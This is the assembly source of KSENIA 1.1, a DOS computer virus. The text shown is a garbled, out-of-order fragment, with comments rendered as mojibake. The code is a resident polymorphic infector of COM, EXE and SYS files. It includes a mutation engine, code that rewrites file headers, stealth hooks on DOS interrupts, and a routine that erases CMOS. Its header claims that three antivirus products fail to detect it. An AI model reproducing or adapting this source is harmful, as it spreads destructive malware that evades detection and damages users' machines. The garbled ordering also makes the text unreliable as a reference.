��ャ曄��� ㄸ稅�¡． �젳Д�� �젵쳽 pop si cx ; 쭬｀習첓 캙�젹β昔� �� 飡ⅹ� cmp si,ax ; 蓀젪����� 캙�젹β昔� (�倚˙���� jnz Close ; ㏇篆ⓨ overlay 飡說も侁) cmp cx,dx jnz Close ; �曄�� ‘レ鼇� �젵ル 췅� �� ��ㅵ�ㅿ� cmp dx,10 ; 첓� ��� � 캙э筍 ｀習汀藺�??? �� �젶�� jae Close ; 〓쥯荻 (笹晨젰恂� divide overflow �IJ�) push ax dx ; 貰魚젺���� 캙�젹β昔� mov cx,16 ; ��ャ曄��� ℡�ㄽ�� 獸囹� (CS:IP), ぎ獸贍� div cx ; �졹��ギ┘�� � ぎ�璵 葉飡�． EXE �젵쳽 sub ax,[di+8] ; �揖ⓥ젺�� �젳Д�� EXE 쭬．ギ˚� mov delta,dx ; ㄾ��キⓥ�レ��� 細ι���� ㄻ� ��エМ雪� sub ax,10h ; ��ㄾ〃� COM �젵ャ (IP ‘レ蜈/�젪�� 100h) add dx,100h mov W [di+14h],dx ; 貰魚젺���� IP mov W [di+16h],ax ; 貰魚젺���� CS mov W [di+0eh],ax ; 貰魚젺���� SS (�� TBSCAN 쭬�誓�) mov W [di+10h],-2 ; 貰魚젺���� SP pop dx ax ; 쭬｀習첓 캙�젹β昔� �� 飡ⅹ� add ax,vsize ; ㄾ줎˙���� � �젳Д說 �젵쳽 adc dx,0 ; ㄻÞ� ˘說�� mov cx,512 ; 淞ⓥ젰� ���瑜 PartPag � PageCnt ㄻ� div cx ; �젵쳽 ¸α收 � ˘說貰� or dx,dx jz $+3 inc ax mov [di+2],dx ; 貰魚젺���� PartPag mov [di+4],ax ; 貰魚젺���� PageCnt Check: call WriteVirus ; 쭬�ⓤ� ˘說� � �젵� Close: call CorrectDate ; ��젪첓 쩆瞬 Þ十與昔쥯���． �젵쳽 ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; 쭬�ⓤ� 쭬鼇菴�쥯���． 收쳽 ˘說�� � �젵� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 writevirus: call GetDate ; 쭬�昔� №�Д��/쩆瞬 �젵쳽 cmp cs:save_ax,1857h; �昔´夕� ���▼�ㄸМ飡� ��舒�夕� jz no_time ; №�Д�� �젵쳽 mov ah,2ch ; 쭬�昔� 收ゃ耀． №�Д�� call int21 ; � dx:cx mov ax,cs:time ; � ax №�э �젵쳽 shr ah,3 ; ‥誓� �졹� (〃瞬 11-15 � cx) cmp ah,ch ; 貰¿젮좐�? αエ 쩆, 獸 送煎猶젰п�, je write_fail ; 譽�〓 �� 쭬聲βⓥ藺� no_time: call seek2eof ; -> ぎ�ζ call nexus call write ; 쭬�ⓤ猶젰п� � �젵� xor cx,ax ; ㏇� 쭬�ⓤ젷�刷? jnz write_fail call seek2bof ; Ħ�� � 췅�젷� mov cx,32 ; 쭬．ギ¡� com/exe �젵쳽 lea dx,header call write write_fail: call RestDate ; ¡遜�젺�˙���� 쩆瞬 �젵쳽 ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; �昔´夕� �젵쳽 췅 Þ十與昔쥯���飡� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 Inf_Check: call SaveRegs ; 貰魚젺ⓥ� � 飡ⅹ� 誓（飡贍 call SeekSave ; 貰魚젺畑� ��㎤與� lseek mov cx,-1 ; ��誓��歲� 丞젳졻�レ 췅 췅�젷� mov dx,-vsize ; 收쳽 ˘說�� call seekfrom_eof mov cx,vsize ; 葉�젰� ㄵ稅黍�獸� � ▲芯� lea dx,buffer push cs cs pop ds es call read call RestoreSeek ; ¡遜�젺�˘筍 ��㎤與� lseek xor cx,ax ; ㏇� �昔葉�젷�刷? jnz not_infected lea si,v_id lea di,[buffer+(signature-ksenia)] mov cx,ssize cld repe cmpsb jnz not_infected call LoadRegs stc ret not_infected: call LoadRegs clc ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; CRLOAD - ��ㄿ昔｀젹쵟 ㄻ� ��ャ曄�⑨ �黍（췅レ��． 췅�젷� ; 쭬�젲����� �昔｀젹щ �� 쭬鼇菴�쥯���． ˘說�� � 將�� �昔｀젹Д ; ℡��: BX - handle Þ十與昔쥯���� �昔｀젹щ ; �音��: "buffer" 貰ㄵ逝ⓥ 32 �黍（췅レ�音 줎⒱� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� crload: call SaveRegs ; 貰魚젺���� 誓（飡昔� push cs cs ; Þⓩ쯄エ쭬與� 醒，��狩音 誓（飡昔� pop ds es xor cx,cx ; 貰魚젺���� ��㎤與� 丞젳졻�ワ � �젵ゥ xor dx,dx call seekfrom_cur push dx ax mov cx,-1 ; Ħ�� � ．ギ´ ˘說�� (�.�. ˘說� 쭬�ⓤ젺 mov dx,-vsize ; � ぎ�璵 �昔｀젹щ, ⅲ� 췅�젷� ▲ㄵ� �졹��- call seekfrom_eof ; ギ┘�� 췅 VSIZE 줎⒱ �� ぎ��� �젵쳽) mov cx,vsize ; 葉�젰� 쭬鼇菴�쥯��硫 ˘說� lea dx,buffer ; � ▲芯� call read pop dx cx ; ¡遜�젺젪エ쥯�� ��㎤與� 丞젳졻�ワ call seekfrom_bof mov si,w [buffer+(nex_ptr-ksenia)] mov ax,[si+1] ; 譽���� �졹鼇菴��蟯첓 and ah,not 111b or ah,101b ; �졹鼇菴�˚� � 誓（飡昔� DI mov w do_enc,ax test al,10b ; �昔´夕� ���▼�ㄸМ飡� か蹟� mov al,[si+3] ; 譽���� か蹟� jz _key mov al,90h _key: mov B do_enc+2,al mov B do_enc+3,0c3h ; 貰魚젺���� ぎ쵟�ㅻ RET � 瀞ⅸぅ mov cx,32 ; ��ㄳ�獸˚� � �졹鼇菴�˚� lea si,[buffer+(original-ksenia)] lea di,buffer crge: lodsb ; 譽���� 줎⒱� mov [di],al ; 貰魚젺���� 줎⒱� call near ptr do_enc ; �졹鼇菴�˚� 줎⒱� inc di ; 쩆ゥ� loop crge call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; Polymorphic engine [NEXUS] ; "DELTA" = delta offset in file ; OUT - CX = virus size ; OUT - DX = polymorph code 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� nexus: call SaveRegs ; Þⓩ쯄エ쭬與� push cs cs pop ds es cld lea di,buffer mov w r_used,-1 ; �� �ㄸ� �� 誓（飡昔� �� ⓤ��レ㎯β碎 call garbage ; ％���졿⑨ с貰�� mov wflag,2 ; get random count register call get_reg mov r_used,al or al,10111000b ; create MOV opcode stosb ; save it mov ax,vsize-crlen stosw call garbage ; put some garbage get_idx: call get_reg ; get random index register (BX DI SI) mov ah,111b ; check if BX register cmp al,011b je got_idx mov ah,100b ; check if SI register cmp al,110b je got_idx mov ah,101b ; check if DI register cmp al,111b jne get_idx got_idx: mov r_used +1,al mov rm_field,ah or al,10111000b ; create MOV opcode stosb ; save it mov offs_ptr,di ; save ptr to the offset mov ax,? stosw call garbage ; put some garbage bad_crypt: mov cr_ptr,di mov ax,ctotal ; choose random encryptor lea si,crins call get_rnd imul ax,(cp2n-crins) add si,ax mov ax,W [si] ; read encrypt opcode or ah,101b ; encrypt with DI mov W do_enc,ax mov ax,0ffh ; get any random value call get_rnd inc ax test B do_enc,10b ; �昔´夕� ���▼�ㄸМ飡� か蹟� jz stos_it mov al,90h stos_it: mov do_enc+2,al mov B do_enc+3,0c3h ; 貰魚젺���� ぎ쵟�ㅻ RET � 瀞ⅸぅ mov al,[di] ; check if it realy crypts byte call near ptr do_enc cmp al,[di] mov [di],al jz bad_crypt mov al,2eh stosb mov ax,W [si+2] ; read decrypt opcode or ah,rm_field ; update opcode stosw test al,10b ; �昔´夕� ���▼�ㄸМ飡� か蹟� jnz no_stos mov al,do_enc+2 stosb no_stos: call garbage ; put some garbage mov al,01000000b ; update index register or al,r_used +1 stosb call garbage ; put some garbage mov al,01001000b ; update count register or al,r_used stosb mov al,01110101b ; jnz stosb mov ax,cr_ptr sub ax,di dec ax stosb mov si,di sub si,offset buffer mov ax,crlen sub ax,si call fixedfill ; put AX bytes of the garbage mov ax,di ; calculate decryptor size sub ax,offset buffer-100h add ax,delta mov si,offs_ptr mov [si],ax ; copy virus body to the buffer and encrypt it "on the fly" mov cx,shield-ksenia-crlen lea si,ksenia+crlen lea di,buffer+crlen rep movsb mov cx,original-shield-1 dupcr: lodsb sub al,[si] stosb loop dupcr mov cx,eov-original+1 rep movsb ; polymorph it! mov cx,vsize-crlen lea di,buffer+crlen _encr: call near ptr do_enc inc di loop _encr lea si,v_id lea di,[buffer+(signature-ksenia)] mov cx,ssize rep movsb mov ax,cr_ptr mov w [buffer+(nex_ptr-ksenia)],ax call LoadRegs mov cx,vsize lea dx,buffer ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; ��ㄿ昔｀젹쵟 ㄻ� ％���졿Ŀ с貰惜�． ぎ쩆 췅 줎㎘ �젩エ劣 ; � 첓曄飡´ ℡�ㄽ音 캙�젹β昔� 信�젺�˘筍 ES:DI 췅 ▲芯� ㄻ� 誓㎯レ�졻� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� maxg equ crlen/7 ; maximum number of garbage bytes fixedfill: ; fixed number of garbage bytes (AX) call SaveRegs jmp fill garbage: call SaveRegs mov ax,maxg ; getting random number of garbage call get_rnd ; instructions fill: mov cx,ax ; exit on CX=0 or cx,cx jz garb_ret gloop: push cx di lea si,opcz ; SI -> our table with opcodes and offsets mov ax,total ; get random number of instruction call get_rnd imul ax,op2n-opcz ; get relative offset () add si,ax mov dx,[si] ; read instruction opcode xchg dl,dh mov wflag,0 ; no W field means cmp B [si+2],0ffh ; check if W field required jz no_W mov ax,2 ; get 0 or 1 (B/W) call get_rnd mov wflag,ax ; set value to number of required random inc wflag ; bytes after instruction mov cl,B [si+2] ; read W-bit number shl ax,cl ; set it up or dx,ax ; update opcode no_W: cmp B [si+3],0ffh ; check if REG field required jz no_R call get_reg ; get random register number (REG) mov cl,B [si+3] ; read REG bit number shl ax,cl or dx,ax ; update opcode no_R: xchg ax,dx ; store instruction xchg al,ah ; if instruction the same with the previous cmp al,0feh jae no_store stosb cmp si,offset onebyte jae imm8 xchg al,ah stosb imm8: mov cx,wflag ; get number of random jcxz no_store ; bytes after instruction rndb: mov ax,100h call get_rnd stosb loop rndb no_store: pop ax cx sub ax,di neg ax ; number of bytes of the instruction sub cx,ax ja gloop jz garb_ret add cx,ax sub di,ax jmp gloop garb_ret: mov wflag,di call LoadRegs mov di,wflag ret ; gets random REG field into al without [r_used ] get_reg: mov ax,8 ; get random value call get_rnd mov ah,al cmp wflag,1 ; check REG jnz r16 and ah,11111011b ; 8-bit regs jmp allbits r16: cmp ah,100b ; check for SP REG jz get_reg allbits: cmp r_used,ah ; 16-bit regs jz get_reg cmp r_used+1,ah jz get_reg cbw ret ; encryptors FEDCBA98 76543210 ; dectyptors |||||||| |||||||| crins label byte db 10000000b,00110000b ; XOR db 10000000b,00110000b ; XOR cp2n db 10000000b,00000000b ; ADD db 10000000b,00101000b ; SUB db 10000000b,00101000b ; SUB db 10000000b,00000000b ; ADD db 11000000b,00001000b ; ROR db 11000000b,00000000b ; ROL db 11000000b,00000000b ; ROL db 11000000b,00001000b ; ROR db 11110110b,00010000b ; NOT db 11110110b,00010000b ; NOT db 11110110b,00011000b ; NEG db 11110110b,00011000b ; NEG db 11111110b,00000000b ; INC db 11111110b,00001000b ; DEC db 11111110b,00001000b ; DEC db 11111110b,00000000b ; INC ctotal equ ($-crins)/(cp2n-crins) ; opcodes FEDCBA98 76543210 ; table |||||||| |||||||| opcz db 11000110b,11000000b ; opcode (MOVL) db 8 ; W field ptr (FF if none) db 02h-2 ; "reg" bit ptr (FF if none) op2n db 10000000b,11000000b ; opcode (ADD) db 8 ; W field ptr (FF if none) db 02h-2 ; "reg" bit ptr (FF if none) db 10000000b,11101000b ; opcode (SUB) db 8 ; W field ptr (FF if none) db 02h-2 ; "reg" bit ptr (FF if none) db 10000000b,11111000b ; opcode (CMP) db 8 ; W field ptr (FF if none) db 02h-2 ; "reg" bit ptr (FF if none) db 11110111b,11011000b ; opcode (NEG16) db 0ffh ; W field ptr (FF if none) db 02h-2 ; "reg" bit ptr (FF if none) db 11110111b,11010000b ; opcode (NOT16) db 0ffh ; W field ptr (FF if none) db 02h-2 ; "reg" bit ptr (FF if none) db 10000000b,11100000b ; opcode (AND) db 8 ; W field ptr (FF if none) db 02h-2 ; "reg" bit ptr (FF if none) db 11110110b,11000000b ; opcode (TEST) db 8 ; W field ptr (FF if none) db 02h-2 ; "reg" bit ptr (FF if none) db 10000000b,11001000b ; opcode (OR) db 8 ; W field ptr (FF if none) db 02h-2 ; "reg" bit ptr (FF if none) db 10000000b,11110000b ; opcode (XOR) db 8 ; W field ptr (FF if none) db 02h-2 ; "reg" bit ptr (FF if none) db 10000000b,11011000b ; opcode (SBB) db 8 ; W field ptr (FF if none) db 02h-2 ; "reg" bit ptr (FF if none) db 10000000b,11010000b ; opcode (ADC) db 8 ; W field ptr (FF if none) db 02h-2 ; "reg" bit ptr (FF if none) db 11001101b,00000001b ; opcode (INT 01) db 0ffh ; W field ptr (FF if none) db 0ffh ; "reg" bit ptr (FF if none) db 11001101b,00000011b ; opcode (INT 03) db 0ffh ; W field ptr (FF if none) db 0ffh ; "reg" bit ptr (FF if none) db 01110000b,0 ; opcode (Jxx $+2) db 0ffh ; W field ptr (FF if none) db 0ah-2 ; "reg" bit ptr (FF if none) db 01111000b,0 ; opcode (Jxx $+2) db 0ffh ; W field ptr (FF if none) db 0ah-2 ; "reg" bit ptr (FF if none) db 11100011b,0 ; opcode (Jcxz $+2) db 0ffh ; W field ptr (FF if none) db 0ffh ; "reg" bit ptr (FF if none) db 11101011b,0 ; opcode (Jmp short $+2) db 0ffh ; W field ptr (FF if none) db 0ffh ; "reg" bit ptr (FF if none) onebyte: ; - One-byte instructions db 10110000b,0 ; opcode (MOV) db 0bh ; W field ptr (FF if none) db 0ah-2 ; "reg" bit ptr (FF if none) db 01000000b,0 ; opcode (INC) db 0ffh ; W field ptr (FF if none) db 0Ah-2 ; "reg" bit ptr (FF if none) db 01001000b,0 ; opcode (DEC) db 0ffh ; W field ptr (FF if none) db 0Ah-2 ; "reg" bit ptr (FF if none) db 11001100b,0 ; opcode (int3) db 0ffh ; W field ptr (FF if none) db 0ffh ; "reg" bit ptr (FF if none) db 11111000b,0 ; opcode (S/Cf) db 0ffh ; W field ptr (FF if none) db 0ah-2 ; "reg" bit ptr (FF if none) total equ ($-opcz)/(op2n-opcz) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; ぎ�ζ ��ㅱ曄�� CRC 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� end_crc: random1 dw 0 ; 캙�� 笹晨젵�音 葉醒� random2 dw 0 checksum dd 0f90738adh; CRC32 ˘說�� epb dw 0 ; Execute Parameter Block dw 80h ; ぎ쵟�ㄽ좑 飡昔첓 seg0 dw 0 dw 5ch ; FCB#1 seg1 dw 0 dw 6ch ; FCB#2 seg2 dw 0 original db 0c3h,31 dup (0) nex_ptr dw 0 ; 丞젳졻�レ 췅 �졹鼇菴��蟯� signature db ssize dup (0) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; �∥졹筍 �ⅳⓤぎ�音 쩆��音 - ぎ�ζ �젵ギ¡� �졹殊 ˘說�� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� eov: io08 dw ?,? ; 瀞ⅸえ 魚젺��⑨ ´も�昔� io21p dw ?,? ; �誓贍쥯�Ł io24 dw ?,? stf db ? ; 誓┬� 飡�メ (mcbcheck) command db ? ; command.com (mcbcheck) seek_pos dw ?,? ; ��㎤與� 丞젳졻�ワ (SeekSave) nrbytes dw ? ; �昔葉�젺�瑜 줎⒱� (ReadStealth) rm_field db ? ; 魚젺���� R/M ��ワ Þㄵめ� (NEXUS) r_used db ?,? ; 2 ⓤ��レ㎯�щ� 誓（飡�� (NEXUS) offs_ptr dw ? ; (NEXUS) cr_ptr dw ? ; (NEXUS) wflag dw ? ; 氏젫 W ��ぎ쩆 (NEXUS) do_enc db ?,?,?,? ; ��ぎ�-▲芯� (NEXUS/CRLOAD) fn_ptr dw ?,? ; º� �젵쳽 (ClrAttrib) attrib dw ? ; 졻循Æ呻� (ClrAttrib) time dw ? ; №�э �젵쳽 (GetDate) date dw ? ; 쩆�� �젵쳽 (GetDate) delta dw ? ; +細ι���� (℡�ㄽ�� 캙�젹β� NEXUS) w95state dw ? ; 貰飡�輾�� Win95 (獸嶺ⅴ WinOldAp) save_ax dw ? ; ��誓쩆�� 캙�젹β昔� Д�ⅳ┘�� save_bx dw ? ; 誓㎤ㄵ�狩�� �졹殊 �□젩�洵Ø젹 save_es dw ? ; delay db ? ; 淞β葉� ㄻ� Virus Guard header db 32 dup (?) buffer db vsize dup (?) stacks db 100h dup (?) eom: end ksenia 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[KSENIA.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[KSENIA.ASM]컴� comment � KSENIA Virus Version 1.1 Copyright (C) Deadman 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 TSR/COM/EXE/SYS fast polymorphic infector Infects on 1857h/3Dh/41h/43h/4Bh/56h/6Ch/7141h/7143h/7156h/716Ch/71A9h (Internal/Open/Del/Chmod/Exec/Ren/ExtOpen/LFNs/LFN Server Open) Size/Date stealth on 11h/12h/4Eh/4Fh/5700h/5701h/714Eh/714Fh/71A6h (Find First/Next FCB/DTA/LFN + Get/Set File Time/Date + Get Handle Info) Redirection stealth on 3Fh/42h (Read/LSeek) SFT stealth without using any SFT values (for Novell/Win95 compatibility) Disinfects the host on 40h (Write) Re-Hooks Int 21h vector after Win95 installation. Works perfectly! Re-Hooks Int 21h vector if virus handler has been removed from the chain Uses the most safe method of infecting .SYS files for resident virus Every second it calcucates CRC32 and erases CMOS if the CRC is incorrect Virus stays resident in low memory, executing the host with 4B00h function When some of AVs are executing, virus adds some parameters to cmdline Polymorphic in files uses its internal polymorphic engine Engine uses table-based instructions as a random size garbage (85% of 8086) Engine uses different count and index registers Generates different decryptors (ADD/SUB/XOR/NOT/NEG/ROR/ROL/INC/DEC imm8) Has a second internal shield (secondary encrypts itself with a kewl method) Will not infect files with a current hour stamp Will not infect ADINF/COMMAND files Disable stealth if PkZip/RAR/ARJ/LHA/ARC/DEFRAG/SPEEDISK/CHKDSK/ScanDisk/NDD/ADINF are running Intercepts Int 24h to disallow user be warned by a critial error message Virus was analysed by these AVs F-PROT 3.05b - No detection or warns AVP 3.0.Plat - No detection or warns DRWEB 4.11 - No detection or warns Deadman from hell. E-Mail: dman@mail.ru � vsize equ eov-ksenia ; ㄸ稅�쥯� 캙э筍 ㄻ� ˘說�� msize equ eom-ksenia ; �젳Д� 캙э殊 循ⅰ濕М� ˘說率 v_id equ 0b52dh ; Д洙� ˘說�� (HEADER+12h) crlen equ 100h ; �젳Д� ��エМ雪��． �졹鼇菴��蟯첓 b equ ; �ⅹ�獸贍� 貰む좈��⑨ w equ d equ o equ mvs macro Dest,Sour ; 쵟む�� ㄻ� ��誓頌オ� 쩆��音 push Sour ; 曄誓� 飡ⅹ pop Dest endm model tiny ; ��룋� codeseg p386 org 100h ksenia: xor bp,bp ; �拾�� ㄻ� 1-． 쭬�信첓 ˘說�� call crc ; ��ㅱ曄� CRC ˘說�� mov checksum,eax call SaveRegs ; 貰魚젺���� ℡�ㄽ音 誓（飡昔� jmp shield ; 將� CRLEN 줎⒱ 쭬誓㎘舒ⓣ�쥯�� � 收ゥ org ksenia+crlen ; ˘說�� ㄻ� ��エМ雪��． ㄵ鼇菴졻��� push 3202h ; ¡遜�젺�˙���� 氏젫�� popf call SaveRegs ; 貰魚젺���� ℡�ㄽ音 誓（飡昔� mov ah,30h ; 쭬�昔� ´褻Ŀ DOS int 21h ; �黍Д�畑恂� ㄻ� �揖ⓤゥ�⑨ ip: mov bp,sp ; 咨飡�� 細ι��⑨ � 쭬�젲����� �젵ゥ mov bp,[bp-6] ; 貰魚젺����� IP ぎ쵟�ㄾ� INT � sub bp,offset ip ; �揖ⓤワ�� �젳��飡� 細ι��Ł (delta) push ds ; 將�� ゃ貰� ぎ쩆 �� 쩆飡 姿乘汀�說 mvs ds,0ffffh ; �졹鼇菴�쥯筍 ˘說� mov si,07h ; FFFF:0005 貰ㄵ逝ⓥ 쩆栒, �� ぎ獸昔� щ mov dx,2eh ; 罌졻젰� 歲Б�� "/", � � ��М雩� XOR xor dl,[si] ; ��ャ�젰� ⅳÞⓩ� pop ds lea si,endi-1+bp ; ™�昔� (˛呻誓��ⅴ) ぎレ餘 쭬蟯瞬 ˘說�� mov cx,endi-shield-1 turbo: mov al,cs:[si] ; む졻첓� 飡說も侁�: add cs:[si-1],al ; 꼶: byte1 byte2 byte3 byte4 sub si,dx ; 룑몝�: b1+b2 b2+b3 b3+b4 b4+b5 loop turbo shield: cmp cs:host+bp,"S" ; �昔´夕� 若飡� 췅 歲飡�Л硫 jz strategy ; ㅰ젵´� mov ax,1856h ; �昔´夕� 췅 �黍率恂手�� ˘說�� � 캙э殊 int 21h ; AH=18 - �信�좑 押�ゆ⑨ cmp ax,3265h ; AX=3265 - ㎛좂ⓥ, 譽� ぎ�⑨ ˘說�� 拾� � jne exeinstall ; 캙э殊 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 궙㎖�좈���� 承�젪ゥ�⑨ �昔｀젹Д 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 complete: lea si,original+bp ; si-貰魚젺����� 췅�젷� 若飡� mov al,cs:host+bp ; 쭬｀習첓 ぎ쩆 殊캙 若飡� cmp al,"S" ; 歲飡�Л硫 ㅰ젵´�? jz run_sys cmp al,"E" ; ⓤ��キ畑щ� �젵�? jz run_exe mov di,100h ; 殊� 쭬�젲����� �昔｀젹щ: COM push di ; 貰魚젺���� � 飡ⅹ� 젮誓�� ¡㎖�졻� mov cx,32 ; ¡遜�젺�˙���� � 캙э殊 �黍（췅レ��． rep movsb ; 쭬．ギ˚� �昔｀젹щ jmp LoadRegs ; ��誓쩆�� 承�젪ゥ�⑨ � 췅�젷� �昔｀젹щ run_sys: mov ax,cs:[si+12h] ; ¡遜�젺�˙���� Д洙� ˘說�� mov cs:[12h],ax ; ¡遜�젺�˙���� 細ι��⑨ �昔璵ㅳ贍 mov ax,cs:[si+06h] ; �□젩�洙� 飡�졻ⅲĿ mov cs:[06h],ax ; push ax ; 貰魚젺���� 細ι��⑨ � 飡ⅹ� jmp LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� run_exe: mov ax,es add ax,010h add cs:[si+16h],ax ; .reloc add cs:[si+0eh],ax ; .reloc mov bp,sp mov [bp.rbx],si ; 貰魚젺���� 丞젳졻�ワ 췅 쭬．ギ¡� call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� mov ss,cs:[bx+0eh] ; 信�젺�˚� 飡ⅹ�¡． 醒，���� mov sp,cs:[bx+10h] ; 信�젺�˚� 丞젳졻�ワ 飡ⅹ� jmp d cs:[bx+14h] ; ��誓쩆�� 承�젪ゥ�⑨ 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 댂飡젷ワ與� ˘說�� � 캙э筍 �� ぎ쵟�ㄽ�． �젵쳽 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 exeinstall: mov di,100h ; ES:DI = PSP:0100 mvs ds,cs ; DS:SI = ぎ� ˘說�� lea si,ksenia+bp ; ぎ�ⓣ濕� ぎ� ˘說�� ��´齧 쭬�젲����� mov cx,msize ; �昔｀젹щ 蓀젳� ��笹� PSP db 6ah,00h ; 쭬｀拾젰� � 飡ⅹ ぎ쵟�ㅻ ㄻ� db 66h,68h ; ぎ�ⓣ�쥯�⑨ ˘說�� db 0f3h,0a4h,0cah,6 push es offset done ; rep movsb / retn 06 mov ax,sp add ax,4 jmp far ptr ax done: mov ax,cs ; щ 췅 ��¡� Д飡�, � ��젪Œ彛臾 mov ds,ax ; 細ι�����, 첓� �黍 ぎНŒ湞Ŀ mov seg0,ax ; 쭬��キ���� 醒，��狩音 ��ゥ� � EPB mov seg1,ax mov seg2,ax call VectMan ; 쭬｀習첓 � ��誓罌졻 ´も�昔� �誓贍쥯�Ł call FixVirus ; 쭬�젲���� �ⅹ�獸贍� 쥯┃音 �젵ギ� mov ah,4ah ; 僧��麟ⓥ� ㄾ �拾��． �젳Д�� ∥�� mov bx,(msize+100h)/16+2 ; 캙э殊, �琉�ゥ��硫 �昔｀젹Д mvs es,cs int 21h mov si,2ch ; PSP:2Ch = 醒，��� �む拾��⑨ mov ds,[si] ; ��Д飡ⓥ� ⅲ� � DS xor ax,ax mov si,-1 escan: inc si ; 稅젺�º ��첓 �� 췅ħ�� DW 0 cmp W [si],ax ; 쭬 �º 笹ⅳ濕� º� �젵쳽 (�昔｀젹щ), jne escan ; �� ぎ獸昔� 〓� 쭬�燼�� ˘說� lea dx,[si+4] ; dx -> º� mov ax,cs ; �昔Þⓩ쯄エ㎤說�� 飡ⅹ��瑜 丞젳졻�エ mov ss,ax ; � 獸 ��� ‘モ좐恂� ＄�-獸 ˛�㎯ // lea sp,stacks+size stacks mov ax,4b00h ; 쭬�信첓�� ��歲收ワ lea bx,epb ; ES:BX = EPB int 21h mov si,2ch mov es,cs:[si] ; ��ャ曄��� 醒，���� �む拾��⑨ mov ah,49h ; �聲�‘┐���� ∥�첓 캙э殊 int 21h mov ax,cs ; 쵟稅ⓣ濕� 췅� ∥�� 캙э殊 �젶, 첓� ▲ㅲ� dec ax ; �� 貰ㄵ逝ⓥ 獸レぎ 췅� PSP. � ��� 醒∽ mov ds,ax ; ��飡昔º ㅰ膝�� ∥�� 캙э殊, 笹ⅳ莘蟯� xor si,si ; �涉М 쭬 PSP. 뤲� 쭬´殲��Ŀ �昔｀젹щ mov al,4dh ; 췅� ∥�� 캙э殊 �� ▲ㄵ� �聲�‘┘�. xchg B [si],al mov W [si+3],0fh ; 룧э筍 ��� MCB 췅� ヮ‥㎛� �誓ㄾ飡젪ゥ췅 mov B [si+100h],al ; ぎ쵟�ㄽ�� 飡昔ぎ� (PSP+0F0h) mov W [si+101h],8 ; mov W [si+103h],msize/16+2 mov ah,4dh ; AH=4Dh (WAIT) int 21h ; ��ャ葉筍 ErrorLevel 쭬�申����� �昔｀젹щ mov ah,4ch ; AH=4Ch (EXIT) int 21h ; �硫殊 � DOS ‥� ㏇篆ⓨ ��ㄾ㏅��Ł 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 댂飡젷ワ與� ˘說�� � 캙э筍 �� .SYS �젵쳽 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 Strategy: mvs ds,cs ; Þⓩ쯄エ쭬與� 醒，��狩�． 誓（飡�� mov si,sp ; 쭬｀習첓 丞젳졻�ゥ� 췅 ∥�� mov bx,ss:[si.rbx] ; 쭬�昔�� �� 飡ⅹ� mov es,ss:[si.res] ; lea si,reqhdr+bp mov [si],bx ; 貰魚젺���� 丞젳졻�ゥ� � 瀞ⅸ첓� mov [si+2],es ; 캙э殊 � 收ゥ ˘說�� jmp complete ; ��誓쩆�� 承�젪ゥ�⑨ ㅰ젵´說 Interrupt: call SaveRegs ; 貰魚젺���� 誓（飡昔� mov ah,30h ; 쭬�昔� ´褻Ŀ DOS int 21h ; �黍Д�畑恂� ㄻ� �揖ⓤゥ�⑨ ipX: mov bp,sp ; 